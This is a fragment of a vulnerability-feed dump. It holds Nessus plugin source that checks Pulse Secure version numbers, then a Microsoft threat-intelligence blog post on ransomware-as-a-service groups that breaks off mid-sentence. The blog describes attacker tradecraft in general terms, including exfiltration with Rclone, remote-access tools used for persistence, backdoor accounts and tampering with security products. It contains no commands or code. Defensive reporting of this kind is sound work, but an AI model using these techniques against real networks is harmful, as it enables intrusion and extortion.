script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8260\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Pulse Secure VPN gzip RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/01/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:pulsesecure:pulse_policy_secure\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"pulse_policy_secure_detect.nbin\");\n script_require_keys(\"installed_sw/Pulse Policy Secure\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\napp_info = vcf::get_app_info(app:'Pulse Policy Secure', port:443);\n\nconstraints = [\n {'fixed_version':'9.1R9'}\n];\n\nvcf::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_WARNING,\n flags:{'xss':TRUE}\n);\n\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-12-21T14:38:21", "description": "According to its self-reported version, the version of Pulse Connect Secure running on the remote host is prior to 9.1R9. It is, therefore, affected by multiple vulnerabilities:\n\n - A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction. (CVE-2020-8260)\n\n - A vulnerability in the Pulse Connect Secure / Pulse Policy Secure < 9.1R9 is vulnerable to arbitrary cookie injection. (CVE-2020-8261)\n\n - jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable\n __proto__ property, it could extend the native Object.prototype. (CVE-2019-11358)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 7.2, "vector": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-10-30T00:00:00", "type": "nessus", "title": "Pulse Connect Secure < 9.1R9 (SA44601)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-9251", "CVE-2019-11358", "CVE-2020-15352", "CVE-2020-8255", "CVE-2020-8260", "CVE-2020-8261", "CVE-2020-8262", "CVE-2020-8263"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/a:pulsesecure:pulse_connect_secure"], "id": "PULSE_CONNECT_SECURE-SA44601.NASL", "href": "https://www.tenable.com/plugins/nessus/142058", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142058);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\n \"CVE-2015-9251\",\n \"CVE-2019-11358\",\n \"CVE-2020-8255\",\n \"CVE-2020-8260\",\n \"CVE-2020-8261\",\n \"CVE-2020-8262\",\n \"CVE-2020-8263\",\n \"CVE-2020-15352\"\n );\n script_xref(name:\"IAVA\", value:\"2020-A-0495\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/04/23\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0004\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0025\");\n\n script_name(english:\"Pulse Connect Secure < 9.1R9 (SA44601)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote device is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its self-reported version, the version of Pulse Connect Secure running on the remote host is prior \nto 9.1R9. It is, therefore, affected by multiple vulnerabilities:\n\n - A vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated\n attacker to perform an arbitrary code execution using uncontrolled gzip extraction. (CVE-2020-8260)\n\n - A vulnerability in the Pulse Connect Secure / Pulse Policy Secure < 9.1R9 is vulnerable to arbitrary\n cookie injection. (CVE-2020-8261)\n\n - jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true,\n {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable\n __proto__ property, it could extend the native Object.prototype. (CVE-2019-11358)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Pulse Connect Secure version 9.1R9 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8260\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Pulse Secure VPN gzip RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/01/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/30\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:pulsesecure:pulse_connect_secure\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"pulse_connect_secure_detect.nbin\");\n script_require_keys(\"installed_sw/Pulse Connect Secure\");\n\n exit(0);\n}\n\ninclude('http.inc');\ninclude('vcf.inc');\ninclude('vcf_extras.inc');\n\nport = get_http_port(default:443, embedded:TRUE);\napp_info = vcf::pulse_connect_secure::get_app_info(app:'Pulse Connect Secure', port:port, full_version:TRUE, webapp:TRUE);\n\n# full ver from https://www-prev.pulsesecure.net/techpubs/pulse-connect-secure/pcs/9.1rx/9.1r9\nconstraints = [\n {'fixed_version':'9.1.9.9189', 'fixed_display':'9.1R9'}\n];\n\nvcf::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_WARNING,\n flags:{'xss':TRUE}\n);\n\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "mssecure": [{"lastseen": "2022-05-09T15:51:15", "description": "Microsoft processes 24 trillion signals every 24 hours, and we have blocked billions of attacks in the last year alone. Microsoft Security tracks more than 35 unique ransomware families and 250 unique threat actors across observed nation-state, ransomware, and criminal activities.\n\nThat depth of signal intelligence gathered from various domains\u2014identity, email, data, and cloud\u2014provides us with insight into the gig economy that attackers have created with tools designed to lower the barrier for entry for other attackers, who in turn continue to pay dividends and fund operations through the sale and associated \u201ccut\u201d from their tool\u2019s success.\n\nThe cybercriminal economy is a continuously evolving connected ecosystem of many players with different techniques, goals, and skillsets. In the same way our traditional economy has shifted toward gig workers for efficiency, criminals are learning that there\u2019s less work and less risk involved by renting or selling their tools for a portion of the profits than performing the attacks themselves. This industrialization of the cybercrime economy has made it easier for attackers to use ready-made penetration testing and other tools to perform their attacks.\n\nWithin this category of threats, Microsoft has been tracking the trend in the ransomware-as-a-service (RaaS) gig economy, called [human-operated ransomware](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>), which remains one of the most impactful threats to organizations. We coined the industry term \u201chuman-operated ransomware\u201d to clarify that these threats are driven by humans who make decisions at every stage of their attacks based on what they find in their target\u2019s network.\n\nUnlike the broad targeting and opportunistic approach of earlier ransomware infections, attackers behind these human-operated campaigns vary their attack patterns depending on their discoveries\u2014for example, a security product that isn\u2018t configured to prevent tampering or a service that\u2019s running as a highly privileged account like a domain admin. Attackers can use those weaknesses to elevate their privileges to steal even more valuable data, leading to a bigger payout for them\u2014with no guarantee they\u2019ll leave their target environment once they\u2019ve been paid. Attackers are also often more determined to stay on a network once they gain access and sometimes repeatedly monetize that access with additional attacks using different malware or ransomware payloads if they aren\u2019t successfully evicted.\n\nRansomware attacks have become even more impactful in recent years as more ransomware-as-a-service ecosystems have adopted the double extortion monetization strategy. All ransomware is a form of extortion, but now, attackers are not only encrypting data on compromised devices but also exfiltrating it and then posting or threatening to post it publicly to pressure the targets into paying the ransom. Most ransomware attackers opportunistically deploy ransomware to whatever network they get access to, and some even purchase access to networks from other cybercriminals. Some attackers prioritize organizations with higher revenues, while others prefer specific industries for the shock value or type of data they can exfiltrate.\n\nAll human-operated ransomware campaigns\u2014all human-operated attacks in general, for that matter\u2014share common dependencies on security weaknesses that allow them to succeed. Attackers most commonly take advantage of **an organization\u2019s poor credential hygiene and legacy configurations or misconfigurations to find easy entry and privilege escalation points in an environment.** \n\nIn this blog, we detail several of the ransomware ecosystems using the RaaS model, the importance of cross-domain visibility in finding and evicting these actors, and best practices organizations can use to protect themselves from this increasingly popular style of attack. We also offer security best practices on credential hygiene and cloud hardening, how to address security blind spots, harden internet-facing assets to understand your perimeter, and more. Here\u2019s a quick table of contents:\n\n 1. **How RaaS redefines our understanding of ransomware incidents**\n * The RaaS affiliate model explained\n * Access for sale and mercurial targeting\n 2. **\u201cHuman-operated\u201d means human decisions**\n * Exfiltration and double extortion\n * Persistent and sneaky access methods\n 3. **Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks**\n 4. **Defending against ransomware: Moving beyond protection by detection**\n * Building credential hygiene\n * Auditing credential exposure\n * Prioritizing deployment of Active Directory updates\n * Cloud hardening\n * Addressing security blind spots\n * Reducing the attack surface\n * Hardening internet-facing assets and understanding your perimeter\n\n## How RaaS redefines our understanding of ransomware incidents\n\nWith ransomware being the preferred method for many cybercriminals to monetize attacks, human-operated ransomware remains one of the most impactful threats to organizations today, and it only continues to evolve. This evolution is driven by the \u201chuman-operated\u201d aspect of these attacks\u2014attackers make informed and calculated decisions, resulting in varied attack patterns tailored specifically to their targets and iterated upon until the attackers are successful or evicted.\n\nIn the past, we\u2019ve observed a tight relationship between the initial entry vector, tools, and ransomware payload choices in each campaign of one strain of ransomware. The RaaS affiliate model, which has allowed more criminals, regardless of technical expertise, to deploy ransomware built or managed by someone else, is weakening this link. As ransomware deployment becomes a gig economy, it has become more difficult to link the tradecraft used in a specific attack to the ransomware payload developers.\n\nReporting a ransomware incident by assigning it with the payload name gives the impression that a monolithic entity is behind all attacks using the same ransomware payload and that all incidents that use the ransomware share common techniques and infrastructure. However, focusing solely on the ransomware stage obscures many stages of the attack that come before, including actions like data exfiltration and additional persistence mechanisms, as well as the numerous detection and protection opportunities for network defenders.\n\nWe know, for example, that the underlying techniques used in human-operated ransomware campaigns haven\u2019t changed very much over the years\u2014attacks still prey on the same security misconfigurations to succeed. Securing a large corporate network takes disciplined and sustained focus, but there\u2019s a high ROI in implementing critical controls that prevent these attacks from having a wider impact, even if it\u2019s only possible on the most critical assets and segments of the network. \n\nWithout the ability to steal access to highly privileged accounts, attackers can\u2019t move laterally, spread ransomware widely, access data to exfiltrate, or use tools like Group Policy to impact security settings. Disrupting common attack patterns by applying security controls also reduces alert fatigue in security SOCs by stopping the attackers before they get in. This can also prevent unexpected consequences of short-lived breaches, such as exfiltration of network topologies and configuration data that happens in the first few minutes of execution of some trojans.\n\nIn the following sections, we explain the RaaS affiliate model and disambiguate between the attacker tools and the various threat actors at play during a security incident. Gaining this clarity helps surface trends and common attack patterns that inform defensive strategies focused on preventing attacks rather than detecting ransomware payloads. Threat intelligence and insights from this research also enrich our solutions like [Microsoft 365 Defender](<https://www.microsoft.com/security/business/threat-protection/microsoft-365-defender>), whose comprehensive security capabilities help protect customers by detecting RaaS-related attack attempts.\n\n### The RaaS affiliate model explained\n\nThe cybercriminal economy\u2014a connected ecosystem of many players with different techniques, goals, and skillsets\u2014is evolving. The industrialization of attacks has progressed from attackers using off-the-shelf tools, such as Cobalt Strike, to attackers being able to purchase access to networks and the payloads they deploy to them. This means that the impact of a successful ransomware and extortion attack remains the same regardless of the attacker\u2019s skills.\n\nRaaS is an arrangement between an operator and an affiliate. The RaaS operator develops and maintains the tools to power the ransomware operations, including the builders that produce the ransomware payloads and payment portals for communicating with victims. The RaaS program may also include a leak site to share snippets of data exfiltrated from victims, allowing attackers to show that the exfiltration is real and try to extort payment. Many RaaS programs further incorporate a suite of extortion support offerings, including leak site hosting and integration into ransom notes, as well as decryption negotiation, payment pressure, and cryptocurrency transaction services\n\nRaaS thus gives a unified appearance of the payload or campaign being a single ransomware family or set of attackers. However, what happens is that the RaaS operator sells access to the ransom payload and decryptor to an affiliate, who performs the intrusion and privilege escalation and who is responsible for the deployment of the actual ransomware payload. The parties then split the profit. In addition, RaaS developers and operators might also use the payload for profit, sell it, and run their campaigns with other ransomware payloads\u2014further muddying the waters when it comes to tracking the criminals behind these actions.\n\nFigure 1. How the RaaS affiliate model enables ransomware attacks\n\n### Access for sale and mercurial targeting\n\nA component of the cybercriminal economy is selling access to systems to other attackers for various purposes, including ransomware. Access brokers can, for instance, infect systems with malware or a botnet and then sell them as a \u201cload\u201d. A load is designed to install other malware or backdoors onto the infected systems for other criminals. Other access brokers scan the internet for vulnerable systems, like exposed Remote Desktop Protocol (RDP) systems with weak passwords or unpatched systems, and then compromise them _en masse_ to \u201cbank\u201d for later profit. Some advertisements for the sale of initial access specifically cite that a system isn\u2019t managed by an antivirus or endpoint detection and response (EDR) product and has a highly privileged credential such as Domain Administrator associated with it to fetch higher prices.\n\nMost ransomware attackers opportunistically deploy ransomware to whatever network they get access to. Some attackers prioritize organizations with higher revenues, while some target specific industries for the shock value or type of data they can exfiltrate (for example, attackers targeting hospitals or exfiltrating data from technology companies). In many cases, the targeting doesn\u2019t manifest itself as specifically attacking the target\u2019s network, instead, the purchase of access from an access broker or the use of existing malware infection to pivot to ransomware activities.\n\nIn some ransomware attacks, the affiliates who bought a load or access may not even know or care how the system was compromised in the first place and are just using it as a \u201cjump server\u201d to perform other actions in a network. Access brokers often list the network details for the access they are selling, but affiliates aren\u2019t usually interested in the network itself but rather the monetization potential. As a result, some attacks that seem targeted to a specific industry might simply be a case of affiliates purchasing access based on the number of systems they could deploy ransomware to and the perceived potential for profit.\n\n## \u201cHuman-operated\u201d means human decisions\n\nMicrosoft coined the term \u201chuman-operated ransomware\u201d to clearly define a class of attacks driven by expert human intelligence at every step of the attack chain and culminate in intentional business disruption and extortion. Human-operated ransomware attacks share commonalities in the security misconfigurations of which they take advantage and the manual techniques used for lateral movement and persistence. However, the human-operated nature of these actions means that variations in attacks\u2014including objectives and pre-ransom activity\u2014evolve depending on the environment and the unique opportunities identified by the attackers.\n\nThese attacks involve many reconnaissance activities that enable human operators to profile the organization and know what next steps to take based on specific knowledge of the target. Many of the initial access campaigns that provide access to RaaS affiliates perform automated reconnaissance and exfiltration of information collected in the first few minutes of an attack.\n\nAfter the attack shifts to a hands-on-keyboard phase, the reconnaissance and activities based on this knowledge can vary, depending on the tools that come with the RaaS and the operator\u2019s skill. Frequently attackers query for the currently running security tools, privileged users, and security settings such as those defined in Group Policy before continuing their attack. The data discovered via this reconnaissance phase informs the attacker\u2019s next steps.\n\nIf there\u2019s minimal security hardening to complicate the attack and a highly privileged account can be gained immediately, attackers move directly to deploying ransomware by editing a Group Policy. The attackers take note of security products in the environment and attempt to tamper with and disable these, sometimes using scripts or tools provided with RaaS purchase that try to disable multiple security products at once, other times using specific commands or techniques performed by the attacker. \n\nThis human decision-making early in the reconnaissance and intrusion stages means that even if a target\u2019s security solutions detect specific techniques of an attack, the attackers may not get fully evicted from the network and can use other collected knowledge to attempt to continue the attack in ways that bypass security controls. In many instances, attackers test their attacks \u201cin production\u201d from an undetected location in their target\u2019s environment, deploying tools or payloads like commodity malware. If these tools or payloads are detected and blocked by an antivirus product, the attackers simply grab a different tool, modify their payload, or tamper with the security products they encounter. Such detections could give SOCs a false sense of security that their existing solutions are working. However, these could merely serve as a smokescreen to allow the attackers to further tailor an attack chain that has a higher probability of success. Thus, when the attack reaches the active attack stage of deleting backups or shadow copies, the attack would be minutes away from ransomware deployment. The adversary would likely have already performed harmful actions like the exfiltration of data. This knowledge is key for SOCs responding to ransomware: prioritizing investigation of alerts or detections of tools like Cobalt Strike and performing swift remediation actions and incident response (IR) procedures are critical for containing a human adversary before the ransomware deployment stage.\n\n### Exfiltration and double extortion\n\nRansomware attackers often profit simply by disabling access to critical systems and causing system downtime. Although that simple technique often motivates victims to pay, it is not the only way attackers can monetize their access to compromised networks. Exfiltration of data and \u201cdouble extortion,\u201d which refers to attackers threatening to leak data if a ransom hasn\u2019t been paid, has also become a common tactic among many RaaS affiliate programs\u2014many of them offering a unified leak site for their affiliates. Attackers take advantage of common weaknesses to exfiltrate data and demand ransom without deploying a payload.\n\nThis trend means that focusing on protecting against ransomware payloads via security products or encryption, or considering backups as the main defense against ransomware, instead of comprehensive hardening, leaves a network vulnerable to all the stages of a human-operated ransomware attack that occur before ransomware deployment. This exfiltration can take the form of using tools like Rclone to sync to an external site, setting up email transport rules, or uploading files to cloud services. With double extortion, attackers don\u2019t need to deploy ransomware and cause downtime to extort money. Some attackers have moved beyond the need to deploy ransomware payloads and are shifting straight to extortion models or performing the destructive objectives of their attacks by directly deleting cloud resources. One such extortion attackers is DEV-0537 (also known as LAPSUS$), which is profiled below. \n\n### Persistent and sneaky access methods\n\nPaying the ransom may not reduce the risk to an affected network and potentially only serves to fund cybercriminals. Giving in to the attackers\u2019 demands doesn\u2019t guarantee that attackers ever \u201cpack their bags\u201d and leave a network. Attackers are more determined to stay on a network once they gain access and sometimes repeatedly monetize attacks using different malware or ransomware payloads if they aren\u2019t successfully evicted.\n\nThe handoff between different attackers as transitions in the cybercriminal economy occur means that multiple attackers may retain persistence in a compromised environment using an entirely different set of tools from those used in a ransomware attack. For example, initial access gained by a banking trojan leads to a Cobalt Strike deployment, but the RaaS affiliate that purchased the access may choose to use a less detectable remote access tool such as TeamViewer to maintain persistence on the network to operate their broader series of campaigns. Using legitimate tools and settings to persist versus malware implants such as Cobalt Strike is a popular technique among ransomware attackers to avoid detection and remain resident in a network for longer.\n\nSome of the common enterprise tools and techniques for persistence that Microsoft has observed being used include:\n\n * AnyDesk\n * Atera Remote Management\n * ngrok.io\n * Remote Manipulator System\n * Splashtop\n * TeamViewer\n\nAnother popular technique attackers perform once they attain privilege access is the creation of new backdoor user accounts, whether local or in Active Directory. These newly created accounts can then be added to remote access tools such as a virtual private network (VPN) or Remote Desktop, granting remote access through accounts that appear legitimate on the network. Ransomware attackers have also been observed editing the settings on systems to enable Remote Desktop, reduce the protocol\u2019s security, and add new users to the Remote Desktop Users group.\n\nThe time between initial access to a hands-on keyboard deployment can vary wildly depending on the groups and their workloads or motivations. Some activity groups can access thousands of potential targets and work through these as their staffing allows, prioritizing based on potential ransom payment over several months. While some activity groups may have access to large and highly resourced companies, they prefer to attack smaller companies for less overall ransom because they can execute the attack within hours or days. In addition, the return on investment is higher from companies that can\u2019t respond to a major incident. Ransoms of tens of millions of dollars receive much attention but take much longer to develop. Many groups prefer to ransom five to 10 smaller targets in a month because the success rate at receiving payment is higher in these targets. Smaller organizations that can\u2019t afford an IR team are often more likely to pay tens of thousands of dollars in ransom than an organization worth millions of dollars because the latter has a developed IR capability and is likely to follow legal advice against paying. In some instances, a ransomware associate threat actor may have an implant on a network and never convert it to ransom activity. In other cases, initial access to full ransom (including handoff from an access broker to a RaaS affiliate) takes less than an hour.\n\nFigure 2. Human-operated ransomware targeting and rate of success, based on a sampling of Microsoft data over six months between 2021 and 2022\n\nThe human-driven nature of these attacks and the scale of possible victims under control of ransomware-associated threat actors underscores the need to take targeted proactive security measures to harden networks and prevent these attacks in their early stages.\n\n## Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks\n\nFor organizations to successfully respond to evict an active attacker, it\u2019s important to understand the active stage of an ongoing attack. In the early attack stages, such as deploying a banking trojan, common remediation efforts like isolating a system and resetting exposed credentials may be sufficient. As the attack progresses and the attacker performs reconnaissance activities and exfiltration, it\u2019s important to implement an incident response process that scopes the incident to address the impact specifically. Using a threat intelligence-driven methodology for understanding attacks can assist in determining incidents that need additional scoping.\n\nIn the next sections, we provide a deep dive into the following prominent ransomware threat actors and their campaigns to increase community understanding of these attacks and enable organizations to better protect themselves:\n\n * DEV-0193 cluster (Trickbot LLC): The most prolific ransomware group today \n * ELBRUS: (Un)arrested development\n * DEV-0504: Shifting payloads reflecting the rise and fall of RaaS programs\n * DEV-0237: Prolific collaborator\n * DEV-0206 and DEV-0243: An \u201cevil\u201d partnership\n * DEV-0401: China-based lone wolf turned LockBit 2.0 affiliate\n * DEV-0537: From extortion to destruction\n\nMicrosoft threat intelligence directly informs our products as part of our commitment to track adversaries and protect customers. Microsoft 365 Defender customers should prioritize alerts titled \u201cRansomware-linked emerging threat activity group detected\u201d. We also add the note \u201cOngoing hands-on-keyboard attack\u201d to alerts that indicate a human attacker is in the network. When these alerts are raised, it\u2019s highly recommended to initiate an incident response process to scope the attack, isolate systems, and regain control of credentials attackers may be in control of.\n\nA note on threat actor naming: as part of Microsoft\u2019s ongoing commitment to track both nation-state and cybercriminal threat actors, we refer to the unidentified threat actors as a \u201cdevelopment group\u201d. We use a naming structure with a prefix of \u201cDEV\u201d to indicate an emerging threat group or unique activity during investigation. When a nation-state group moves out of the DEV stage, we use chemical elements (for example, PHOSPHOROUS and NOBELIUM) to name them. On the other hand, we use volcano names (such as ELBRUS) for ransomware or cybercriminal activity groups that have moved out of the DEV state. In the cybercriminal economy, relationships between groups change very rapidly. Attackers are known to hire talent from other cybercriminal groups or use \u201ccontractors,\u201d who provide gig economy-style work on a limited time basis and may not rejoin the group. This shifting nature means that many of the groups Microsoft tracks are labeled as DEV, even if we have a concrete understanding of the nature of the activity group.\n\n### DEV-0193 cluster (Trickbot LLC): The most prolific ransomware group today\n\nA vast amount of the current cybercriminal economy connects to a nexus of activity that Microsoft tracks as DEV-0193, also referred to as Trickbot LLC. DEV-0193 is responsible for developing, distributing, and managing many different payloads, including Trickbot, Bazaloader, and AnchorDNS. In addition, DEV-0193 managed the Ryuk RaaS program before the latter\u2019s shutdown in June 2021, and Ryuk\u2019s successor, Conti as well as Diavol. Microsoft has been tracking the activities of DEV-0193 since October 2020 and has observed their expansion from developing and distributing the Trickbot malware to becoming the most prolific ransomware-associated cybercriminal activity group active today. \n\nDEV-0193\u2019s actions and use of the cybercriminal gig economy means they often add new members and projects and utilize contractors to perform various parts of their intrusions. As other malware operations have shut down for various reasons, including legal actions, DEV-0193 has hired developers from these groups. Most notable are the acquisitions of developers from Emotet, Qakbot, and IcedID, bringing them to the DEV-0193 umbrella.\n\nA subgroup of DEV-0193, which Microsoft tracks as DEV-0365, provides infrastructure-as-a-service for cybercriminals. Most notably, DEV-0365 provides Cobalt Strike Beacon-as-a-service. These DEV-0365 Beacons have replaced unique C2 infrastructure in many active malware campaigns. DEV-0193 infrastructure has also been [implicated](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) in attacks deploying novel techniques, including exploitation of CVE-2021-40444. \n\nThe leaked chat files from a group publicly labeled as the \u201cConti Group\u201d in February 2022 confirm the wide scale of DEV-0193 activity tracked by Microsoft. Based on our telemetry from 2021 and 2022, Conti has become one of the most deployed RaaS ecosystems, with multiple affiliates concurrently deploying their payload\u2014even as other RaaS ecosystems (DarkSide/BlackMatter and REvil) ceased operations. However, payload-based attribution meant that much of the activity that led to Conti ransomware deployment was attributed to the \u201cConti Group,\u201d even though many affiliates had wildly different tradecraft, skills, and reporting structures. Some Conti affiliates performed small-scale intrusions using the tools offered by the RaaS, while others performed weeks-long operations involving data exfiltration and extortion using their own techniques and tools. One of the most prolific and successful Conti affiliates\u2014and the one responsible for developing the \u201cConti Manual\u201d leaked in August 2021\u2014is tracked as DEV-0230. This activity group also developed and deployed the FiveHands and HelloKitty ransomware payloads and often gained access to an organization via DEV-0193\u2019s BazaLoader infrastructure.\n\n### ELBRUS: (Un)arrested development\n\nELBRUS, also known as FIN7, has been known to be in operation since 2012 and has run multiple campaigns targeting a broad set of industries for financial gain. ELBRUS has deployed point-of-sale (PoS) and ATM malware to collect payment card information from in-store checkout terminals. They have also targeted corporate personnel who have access to sensitive financial data, including individuals involved in SEC filings.\n\nIn 2018, this activity group made headlines when [three of its members were arrested](<https://www.justice.gov/opa/pr/three-members-notorious-international-cybercrime-group-fin7-custody-role-attacking-over-100>). In May 2020, another arrest was made for an individual with alleged involvement with ELBRUS. However, despite law enforcement actions against suspected individual members, Microsoft has observed sustained campaigns from the ELBRUS group itself during these periods.\n\nELBRUS is responsible for developing and distributing multiple custom malware families used for persistence, including JSSLoader and Griffon. ELBRUS has also created fake security companies called \u201cCombi Security\u201d and \u201cBastion Security\u201d to facilitate the recruitment of employees to their operations under the pretense of working as penetration testers.\n\nIn 2020 ELBRUS transitioned from using PoS malware to deploying ransomware as part of a financially motivated extortion scheme, specifically deploying the MAZE and Revil RaaS families. ELBRUS developed their own RaaS ecosystem named DarkSide. They deployed DarkSide payloads as part of their operations and recruited and managed affiliates that deployed the DarkSide ransomware. The tendency to report on ransomware incidents based on payload and attribute it to a monolithic gang often obfuscates the true relationship between the attackers, which is very accurate of the DarkSide RaaS. Case in point, one of the most infamous DarkSide deployments wasn\u2019t performed by ELBRUS but by a ransomware-as-a-service affiliate Microsoft tracks as DEV-0289.\n\nELBRUS retired the DarkSide ransomware ecosystem in May 2021 and released its successor, BlackMatter, in July 2021. Replicating their patterns from DarkSide, ELBRUS deployed BlackMatter themselves and ran a RaaS program for affiliates. The activity group then retired the BlackMatter ransomware ecosystem in November 2021.\n\nWhile they aren\u2019t currently publicly observed to be running a RaaS program, ELBRUS is very active in compromising organizations via phishing campaigns that lead to their JSSLoader and Griffon malware. Since 2019, ELBRUS has partnered with DEV-0324 to distribute their malware implants. DEV-0324 acts as a distributor in the cybercriminal economy, providing a service to distribute the payloads of other attackers through phishing and exploit kit vectors. ELBRUS has also been abusing CVE-2021-31207 in Exchange to compromise organizations in April of 2022, an interesting pivot to using a less popular authenticated vulnerability in the ProxyShell cluster of vulnerabilities. This abuse has allowed them to target organizations that patched only the unauthenticated vulnerability in their Exchange Server and turn compromised low privileged user credentials into highly privileged access as SYSTEM on an Exchange Server. \n\n### DEV-0504: Shifting payloads reflecting the rise and fall of RaaS programs\n\nAn excellent example of how clustering activity based on ransomware payload alone can lead to obfuscating the threat actors behind the attack is DEV-0504. DEV-0504 has deployed at least six RaaS payloads since 2020, with many of their attacks becoming high-profile incidents attributed to the \u201cREvil gang\u201d or \u201cBlackCat ransomware group\u201d. This attribution masks the actions of the set of the attackers in the DEV-0504 umbrella, including other REvil and BlackCat affiliates. This has resulted in a confusing story of the scale of the ransomware problem and overinflated the impact that a single RaaS program shutdown can have on the threat environment. \n\nFigure 3. Ransomware payloads distributed by DEV-0504 between 2020 and April 2022\n\nDEV-0504 shifts payloads when a RaaS program shuts down, for example the deprecation of REvil and BlackMatter, or possibly when a program with a better profit margin appears. These market dynamics aren\u2019t unique to DEV-0504 and are reflected in most RaaS affiliates. They can also manifest in even more extreme behavior where RaaS affiliates switch to older \u201cfully owned\u201d ransomware payloads like Phobos, which they can buy when a RaaS isn\u2019t available, or they don\u2019t want to pay the fees associated with RaaS programs.\n\nDEV-0504 appears to rely on access brokers to enter a network, using Cobalt Strike Beacons they have possibly purchased access to. Once inside a network, they rely heavily on PsExec to move laterally and stage their payloads. Their techniques require them to have compromised elevated credentials, and they frequently disable antivirus products that aren\u2019t protected with tamper protection.\n\nDEV-0504 was responsible for deploying BlackCat ransomware in companies in the energy sector in January 2022. Around the same time, DEV-0504 also deployed BlackCat in attacks against companies in the fashion, tobacco, IT, and manufacturing industries, among others.\n\n### DEV-0237: Prolific collaborator\n\nLike DEV-0504, DEV-0237 is a prolific RaaS affiliate that alternates between different payloads in their operations based on what is available. DEV-0237 heavily used Ryuk and Conti payloads from Trickbot LLC/DEV-0193, then Hive payloads more recently. Many publicly documented Ryuk and Conti incidents and tradecraft can be traced back to DEV-0237.\n\nAfter the activity group switched to Hive as a payload, a large uptick in Hive incidents was observed. Their switch to the BlackCat RaaS in March 2022 is suspected to be due to [public discourse](<https://www.securityweek.com/researchers-devise-method-decrypt-hive-ransomware-encrypted-data>) around Hive decryption methodologies; that is, DEV-0237 may have switched to BlackCat because they didn\u2019t want Hive\u2019s decryptors to interrupt their business. Overlap in payloads has occurred as DEV-0237 experiments with new RaaS programs on 